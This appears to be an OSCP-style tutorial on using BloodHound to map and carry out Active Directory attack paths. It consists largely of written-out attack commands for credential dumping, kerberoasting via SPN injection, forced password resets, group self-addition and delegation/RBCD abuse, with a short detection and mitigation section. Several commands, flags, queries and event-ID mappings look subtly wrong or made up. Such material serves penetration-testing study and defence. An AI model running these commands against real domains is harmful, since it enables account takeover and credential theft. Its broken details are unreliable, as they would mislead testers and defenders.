BloodHound Attack Path Execution
Table of Contents
- BloodHound Overview
- Ingestors: Data Collection
- Collecting Data: Methods
- Key Queries for Lateral Movement
- Executing Attack Paths
- Mapping Findings to Attack Commands
- Common BloodHound Findings and Exploitation
- Detection and Mitigation
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
BloodHound Overview
BloodHound is a graph-based Active Directory attack path discovery tool. It maps AD relationships to identify how an attacker can move from an initial foothold to high-value targets (Domain Admins, Domain Controllers).
Core Concepts
| Concept | Description |
|---|---|
| Nodes | AD objects: Users, Groups, Computers, OUs, Domains, GPOs, Containers |
| Edges | Relationships between nodes: MemberOf, Owns, CanRDP, HasSession, etc. |
| Attack Paths | Chains of edges that lead from starting point to target |
| Cypher | Query language (Neo4j) used to search the graph |
| Ingestors | Tools that collect AD data and feed it to BloodHound |
BloodHound Architecture
┌─────────────┐ ┌──────────────┐ ┌─────────────┐
│ Ingestor │────▶│ ZIP Data │────▶│ BloodHound │
│ (SharpHound)│ │ (JSON files)│ │ GUI │
└─────────────┘ └──────────────┘ └─────────────┘
│
▼
┌─────────────┐
│ Neo4j │
│ Database │
└─────────────┘
Key Relationship Types
| Relationship | Description | Attack Relevance |
|---|---|---|
| MemberOf | Group membership | Direct privilege inheritance |
| Owns | Object ownership | Full control via WriteOwner |
| CanRDP | RDP access | Remote desktop lateral movement |
| HasSession | Active logon session | Token impersonation (DCOM) |
| AdminTo | Local admin access | Credential dumping, execution |
| AllExtendedRights | Full control rights | Modify any property |
| ForceChangePassword | Password reset right | Take over account |
| AddMember | Add to group | Privilege escalation |
| WriteDACL | Modify ACL | Grant self permissions |
| WriteOwner | Change owner | Take full ownership |
| GenericAll | Full control | Complete object manipulation |
| GenericWrite | Modify properties | SPN injection, password change |
| WriteSPN | Modify servicePrincipalName | Kerberoasting enablement |
| ReadLAPSPassword | Read LAPS password | LAPS credential access |
| AllowedToDelegate | Constrained delegation | TGT impersonation |
| CanExecuteDCOM | DCOM execution | Remote code via DCOM |
Ingestors: Data Collection
SharpHound (C# Ingestor)
SharpHound is the original BloodHound data collector, written in C#.
Downloading SharpHound
# From BloodHound official site
# https://bloodhoundhq.github.io/BloodHound/
# Via PowerShell (if already on box)
Invoke-WebRequest -Uri "https://downloads.bloodhound.tools/sharphound-latest.zip" -OutFile sharphound.zip
Expand-Archive sharphound.zip -DestinationPath .
Running SharpHound
# In BloodHound directory
cd C:\path\to\BloodHound
# Run with default options
.\SharpHound.exe --CollectionMethods All --Domain DOMAIN.local
# Run with specific collection methods
.\SharpHound.exe --CollectionMethods DCOnly,Group,LocalAdmin,Session,Trust,Ace,ACL,Object,Container,Default,Extended,SPN,UserTrust,ComputerTrust
# Run with credentials
.\SharpHound.exe --CollectionMethods All --Domain DOMAIN.local --LDAPUser user --LDAPPass password
# Run with specific domain controller
.\SharpHound.exe --CollectionMethods All --DC DC01.DOMAIN.local
# Run with output directory
.\SharpHound.exe --CollectionMethods All --OutputDirectory C:\temp\bloodhound
BloodHound Python
BloodHound Python is a Python-based ingestor that can run from Linux.
Installation
# Install via pip
pip install bloodhound-python
# Or from source
git clone https://github.com/BloodHoundAD/BloodHound.py.git
cd BloodHound.py
pip install .
Running BloodHound Python
# Basic collection
bloodhound-python -u user -p password -d DOMAIN.local -c all
# Collect from specific DC
bloodhound-python -u user -p password -d DOMAIN.local -dc DC01.DOMAIN.local -c all
# Collect with hash
bloodhound-python -u user -H NTHASH -d DOMAIN.local -c all
# Collect specific methods
bloodhound-python -u user -p password -d DOMAIN.local -c DC,Group,LocalAdmin,Session,Trust,Ace
# Kerberos authentication
bloodhound-python -u user@DOMAIN.local -p password -d DOMAIN.local -c all --kdcHost DC01.DOMAIN.local
# Output to specific directory
bloodhound-python -u user -p password -d DOMAIN.local -c all -o /path/to/output
# Find shortest path from CLI
bloodhound-python -u user -p password -d DOMAIN.local -c all --find-shortest-path --name COMPROMISED_USER
Collecting Data: Methods
Collection Methods Reference
| Method | Description | Data Collected |
|---|---|---|
| All | All collection methods | Everything |
| DCOnly | Domain Controller only | AD objects, ACLs, memberships |
| Group | Group memberships | All group membership relationships |
| LocalAdmin | Local admin enumeration | AdminTo relationships via DCOM |
| Session | Active sessions | HasSession relationships via DCOM |
| Trust | Trust relationships | Domain and forest trusts |
| Ace | ACL enumeration | All ACE relationships |
| ACL | ACL data | Access control entries |
| Object | Object properties | Full AD object attributes |
| Container | Container relationships | Container membership |
| Default | Default properties | Basic object data |
| Extended | Extended rights | Extended rights ACLs |
| SPN | SPN data | Service principal names |
| UserTrust | User trust attributes | Trust attributes for users |
| ComputerTrust | Computer trust attributes | Trust attributes for computers |
| DCom | DCOM enumeration | DCOM-based local admin/session |
| LDAP | LDAP enumeration | LDAP-based collection |
| ResolveSigned | Resolve signed data | Certificate and signing data |
DCOnly Method
# Fast collection from DC only (no DCOM)
bloodhound-python -u user -p password -d DOMAIN.local -c DCOnly
# SharpHound DCOnly
.\SharpHound.exe --CollectionMethods DCOnly
DCOM Method
# DCOM-based collection (requires admin access)
bloodhound-python -u user -p password -d DOMAIN.local -c DCom,LocalAdmin,Session
# SharpHound with DCOM
.\SharpHound.exe --CollectionMethods DCom,LocalAdmin,Session
LDAP Method
# LDAP-based collection
bloodhound-python -u user -p password -d DOMAIN.local -c LDAP,Group,Ace
Key Queries for Lateral Movement
Shortest Path to Domain Admins
# Find shortest path from compromised user to any Domain Admin
MATCH p=shortestPath((n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'}))
RETURN p
# Shortest path to any DA
MATCH p=shortestPath((n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[*1..]->(m:User)-[:MemberOf]->(:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'}))
RETURN p
# Shortest path to Enterprise Admins
MATCH p=shortestPath((n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[*1..]->(m:Group {name:'ENTERPRISE ADMINS@DOMAIN.LOCAL'}))
RETURN p
Shortest Path to Domain Controllers
# Path to any DC
MATCH p=shortestPath((n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[*1..]->(m:Computer {is_dc:true}))
RETURN p
# Path with admin rights to DC
MATCH p=shortestPath((n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[*1..]->(m:Computer {is_dc:true})<-[r:AdminTo]-(m))
RETURN p
Accounts with DCSync Rights
# Find all accounts with DCSync rights
MATCH (n)-[:HasRights|AllExtendedRights]->(m)
WHERE m.objectid CONTAINS 'ds-replication-manage-replication-topology'
RETURN n
# Find users who can perform DCSync
MATCH (u:User)-[:HasRights|AllExtendedRights*1..]->(c:Computer)
WHERE c.is_dc = true
RETURN u
# DCSync via built-in BloodHound query
# Use: "Find DCSync Paths" in the GUI
ACL Abuse Paths
# GenericAll abuse paths
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:GenericAll*1..]->(m)
RETURN p
# GenericWrite abuse paths
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:GenericWrite*1..]->(m)
RETURN p
# WriteDACL abuse paths
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:WriteDacl*1..]->(m)
RETURN p
# WriteOwner abuse paths
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:WriteOwner*1..]->(m)
RETURN p
# ForceChangePassword paths
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:ForceChangePassword*1..]->(m)
RETURN p
# AddMember paths
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:AddMember*1..]->(m)
RETURN p
# Combined ACL abuse
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember*1..]->(m)
RETURN p
Trust Relationships
# Find all trust relationships
MATCH (n:Domain)-[r:Trusts]->(m:Domain)
RETURN n, r, m
# Find trusts from current domain
MATCH (n:Domain {name:'DOMAIN.LOCAL'})-[r:Trusts]->(m:Domain)
RETURN n, r, m
# Bidirectional trust paths
MATCH p=(n:Domain {name:'DOMAIN.LOCAL'})-[:Trusts*1..]->(m:Domain)
RETURN p
Session-Based Paths
# Find users with sessions on target computers
MATCH (u:User)-[:HasSession]->(c:Computer {name:'TARGET_HOST.DOMAIN.LOCAL'})
RETURN u
# Find all session relationships from compromised user's group
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:MemberOf*1..]->(:Group)<-[:HasSession]-(c:Computer)
RETURN p
# Session to DA workstation
MATCH p=(u:User)-[:HasSession]->(c:Computer)
WHERE c.name CONTAINS 'DA-' OR c.name CONTAINS 'admin'
RETURN p
SPN Delegation Paths
# Constrained delegation paths
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:AllowedToDelegate*1..]->(m)
RETURN p
# Resource-based constrained delegation
MATCH p=(n:User {name:'COMPROMISED_USER@DOMAIN.LOCAL'})-[:WriteSpn|GenericAll|GenericWrite*1..]->(m:Computer)
RETURN p
# Unconstrained delegation
MATCH (c:Computer {unconstrained_delegation:true})
RETURN c
# Accounts delegated to sensitive services
MATCH (u)-[:AllowedToDelegate]->(c:Computer)
WHERE c.is_dc = true
RETURN u, c
Executing Attack Paths
Path 1: Group Membership Escalation
BloodHound Finding: User → MemberOf → Privileged Group → AdminTo → Target
# Step 1: Verify group membership
net user /domain COMPROMISED_USER
# Step 2: Check group privileges
net group "Privileged Group" /domain
# Step 3: Use group privileges for lateral movement
psexec \\TARGET_HOST -u DOMAIN\COMPROMISED_USER -p Password cmd
# Step 4: Dump credentials on target
mimikatz # sekurlsa::logonpasswords
Path 2: ACL Abuse — GenericAll/GenericWrite
BloodHound Finding: User → GenericAll → Target User
# Step 1: Modify target user's SPN for kerberoasting
Import-Module ActiveDirectory
Set-ADUser -Identity TargetUser -ServicePrincipalNames @{Add="custom/whatever"}
# Step 2: Kerberoast the target
Rubeus.exe kerberoast /user:TargetUser /format:hashcat /outfile:hash.txt
# Step 3: Crack the hash offline
hashcat -m 13100 hash.txt wordlist.txt
# Step 4: Use cracked password
psexec \\TARGET_HOST -u DOMAIN\TargetUser -p CrackedPassword cmd
# Alternative: Change target user's password (if allowed)
Set-ADAccountPassword -Identity TargetUser -Reset -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
Path 3: ACL Abuse — WriteDACL
BloodHound Finding: User → WriteDACL → Target Object
# Step 1: Grant self GenericAll on target
Import-Module ActiveDirectory
$target = Get-ADUser TargetUser
$attacker = Get-ADUser AttackerUser
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($attacker, "GenericAll", "Allow")
$target.ObjectAccess.AddAccessRule($ace)
$target.CommitChanges()
# Step 2: Now use GenericAll rights
Set-ADUser -Identity TargetUser -ServicePrincipalNames @{Add="evil/whatever"}
# Step 3: Kerberoast and crack
Rubeus.exe kerberoast /user:TargetUser /format:hashcat
Path 4: ForceChangePassword
BloodHound Finding: User → ForceChangePassword → Target User
# Step 1: Reset target's password
Import-Module ActiveDirectory
Set-ADAccountPassword -Identity TargetUser -Reset -NewPassword (ConvertTo-SecureString 'AttackerCh0se!' -AsPlainText -Force)
# Step 2: Enable the account if disabled
Enable-ADAccount -Identity TargetUser
# Step 3: Use new credentials
psexec \\TARGET_HOST -u DOMAIN\TargetUser -p 'AttackerCh0se!' cmd
Path 5: AddMember
BloodHound Finding: User → AddMember → Privileged Group
# Step 1: Add self to privileged group
Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Privileged Group" -Members AttackerUser
# Step 2: Force group policy update (or wait)
gpupdate /force
# Step 3: Log off and log back on (or use runas)
runas /user:DOMAIN\AttackerUser "cmd /k whoami"
# Step 4: Use new group privileges
psexec \\TARGET_HOST -u DOMAIN\AttackerUser -p Password cmd
Path 6: Session Impersonation (DCOM)
BloodHound Finding: DA User → HasSession → Target Computer (you have admin access)
# Step 1: Verify you have admin access to the target
psexec \\TARGET_HOST -u DOMAIN\YourUser -p Password cmd
# Step 2: Use DCOM to impersonate the DA session
# Via Mimikatz
mimikatz # privilege::debug
mimikatz # server::transport /protocol:dcom /remote:TARGET_HOST /user:DA_USER /domain:DOMAIN /password:Password
mimikatz # server::rpc
mimikatz # sekurlsa::logonpasswords
# Via Rubeus
Rubeus.exe triage
Rubeus.exe ptt /luid:0xLUID_VALUE
# Step 3: Use impersonated credentials
klist tickets
psexec \\DC_HOST -u DOMAIN\DA_USER -p Password cmd
Path 7: Constrained Delegation
BloodHound Finding: User → AllowedToDelegate → Service on Target
# Step 1: Request TGT for compromised account
Rubeus.exe asktgt /user:CompromisedUser /rc4:HASH /ptt
# Step 2: Request ST for the delegated service
Rubeus.exe s4u /user:CompromisedUser /msds-apsn:TARGET_COMPUTER$ /service:cifs/TARGET_HOST /ptt
# Step 3: Use the ticket for lateral movement
psexec \\TARGET_HOST cmd
# Via Impacket
getST.py DOMAIN/CompromisedUser:password -spn cifs/TARGET_HOST -impersonate Administrator
export KRB5CCNAME=TICKET.ccache
psexec.py -k -no-pass DOMAIN/Administrator@TARGET_HOST
Path 8: Resource-Based Constrained Delegation (RBCD)
BloodHound Finding: User → GenericAll/GenericWrite → Computer Object
# Step 1: Create a computer object you control
Import-Module ActiveDirectory
New-ADComputer -Name "AttackerPC" -AccountPassword (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force) -Enabled $true
# Step 2: Modify msDS-AllowedToActOnBehalfOfOtherIdentity on target
$attackerComputer = Get-ADComputer "AttackerPC"
$targetComputer = Get-ADComputer "TARGET_HOST"
$sd = Get-Acl -Path "AD:\$( $targetComputer.DistinguishedName )"
$rule = New-Object System.Security.AccessControl.AccessRule($attackerComputer, "GenericAll", "Allow")
$sd.SetAccessRule($rule)
Set-Acl -Path "AD:\$( $targetComputer.DistinguishedName )" -AclObject $sd
# Step 3: Use RBCD to impersonate any user
Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msds-apsn:TARGET_HOST /ptt
# Step 4: Access target with impersonated credentials
psexec \\TARGET_HOST cmd
Mapping BloodHound Findings to Actual Attack Commands
Quick Reference Table
| BloodHound Edge | Attack Command | Tool |
|---|---|---|
| AdminTo | psexec \\TARGET cmd |
PsExec / Impacket |
| HasSession | DCOM impersonation | Mimikatz / Rubeus |
| GenericAll | Modify SPN → Kerberoast | AD module / Rubeus |
| GenericWrite | Modify SPN → Kerberoast | AD module / Rubeus |
| WriteDACL | Grant self GenericAll | AD module |
| WriteOwner | Take ownership → Full control | AD module |
| ForceChangePassword | Reset password | AD module |
| AddMember | Add self to group | AD module |
| AllowedToDelegate | S4U attack | Rubeus / Impacket |
| CanRDP | RDP connection | mstsc / xfreerdp |
| ReadLAPSPassword | Read LAPS creds | Get-ADComputer |
| MemberOf | Use group privileges | Native auth |
| Owns | Full control via ownership | AD module |
Common BloodHound Findings and Exploitation
Finding 1: User is Local Admin on DC
User → AdminTo → Domain Controller
Exploitation:
# Dump credentials from DC
cme smb DC_IP -u User -p Password --sam --lsa --ntds
# Or use secretsdump
secretsdump.py DOMAIN/User:Password@DC_IP
Finding 2: ACL Misconfiguration on DA Account
User → GenericWrite → DA_User
Exploitation:
# Inject SPN into DA account
Set-ADUser DA_User -ServicePrincipalNames @{Add="vuln/whatever"}
# Kerberoast
Rubeus.exe kerberoast /user:DA_User /format:hashcat /outfile:da_hash.txt
# Crack and use
hashcat -m 13100 da_hash.txt wordlist.txt
Finding 3: Computer Account with Unconstrained Delegation
Computer {unconstrained_delegation: true} ← HasSession ← DA_User
Exploitation:
# If you control the computer (or can inject one):
# 1. Get DA's TGT delegated to your machine
# 2. Extract the TGT from LSASS
# Via Mimikatz on compromised computer
mimikatz # sekurlsa::tickets /export
# Find the DA's TGT and use it
mimikatz # kerberos::ptt TGT_file
Finding 4: GPO with Restricted Groups
User → GenericAll → GPO → ApplyGroupPolicy → OU containing computers
Exploitation:
# Modify GPO to add yourself as local admin on all affected computers
# Via GPO editor or PowerShell
Import-Module GroupPolicy
$gpo = Get-GPO -Name "TargetGPO"
# Modify restricted groups to add your account
Finding 5: Trust Relationship to Child Domain
Domain (Child) → Trusts → Domain (Parent)
Exploitation:
# If you compromise child domain admin, you may access parent
# Check trust direction and type
nltest /domain_trusts
# Use child DA credentials against parent (if bidirectional trust)
psexec \\PARENT_DC -u CHILD_DOMAIN\ChildDA -p Password cmd
Detection and Mitigation
Detection Indicators
| Event ID | Description | BloodHound-Related Activity |
|---|---|---|
| 4662 | AD object access | ACL enumeration, property reads |
| 5136 | Directory service object modified | ACL changes, SPN injection |
| 4742 | Computer account created | RBCD setup, computer creation |
| 4765 | Resource-based constrained delegation | RBCD attacks |
| 4728 | Member added to DL | AddMember abuse |
| 4768/4769 | Kerberos TGT/ST requested | S4U attacks, kerberoasting |
| 4771 | Kerberos preauth failure | Hash cracking attempts |
| Sysmon 26 | Named pipe created | SharpHound DCOM activity |
| Sysmon 22 | DNS query | BloodHound data collection |
Mitigation Strategies
- Principle of Least Privilege: Remove unnecessary ACL permissions
- Regular ACL Auditing: Use BloodHound defensively to find misconfigurations
- Protected Groups: Add critical groups to AdminSDHolder protection
- LAPS: Randomize local admin passwords
- Credential Guard: Prevent credential theft
- Network Segmentation: Limit DCOM and LDAP access
- Monitor AD Modifications: Alert on 5136, 4742, 4765 events
- Disable Unnecessary Delegation: Review and restrict delegation settings
Common Pitfalls and Troubleshooting
| Issue | Cause | Solution |
|---|---|---|
| SharpHound hangs | DCOM timeout on unreachable hosts | Use --CollectionMethods DCOnly first |
| No data collected | Insufficient permissions | Use domain admin or account with LDAP read access |
| Neo4j connection failed | Neo4j not running | Start Neo4j: bloodhound --neo4j |
| Cypher query returns nothing | Wrong node name format | Use fully qualified name: USER@DOMAIN.LOCAL |
| Path too long/complex | Too many hops | Use shortestPath function in Cypher |
| DCSync fails | Account lacks DCSync rights | Verify rights: cme ldap DC -u user -p pass --dcsync-check |
| RBCD not working | msDS-AllowedToAct not set correctly | Verify with Get-ADComputer -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
OSCP Exam Tips
- Run BloodHound early — Collect data as soon as you have domain credentials
- Start with DCOnly — If DCOM fails, DCOnly still gives you ACL and membership data
- Shortest path to DA is your goal — Use the built-in “Shortest Path to Domain Admins” query
- Look for easy wins first:
- GenericAll/GenericWrite on users → SPN injection → Kerberoasting
- ForceChangePassword → Reset password → Lateral movement
- AddMember → Join privileged group → Escalation
- BloodHound Python from Kali — No need to upload SharpHound if you can use the Python version
- Combine with CME — Use CME for credential testing, BloodHound for path discovery
- Don’t ignore computer objects — RBCD on computer objects is a common OSCP scenario
- Check for ACL paths, not just membership — Many OSCP boxes require ACL abuse
- Export paths as images — Document your attack path for the writeup
- BloodHound is reconnaissance, not exploitation — You still need to execute the attacks manually using the right tools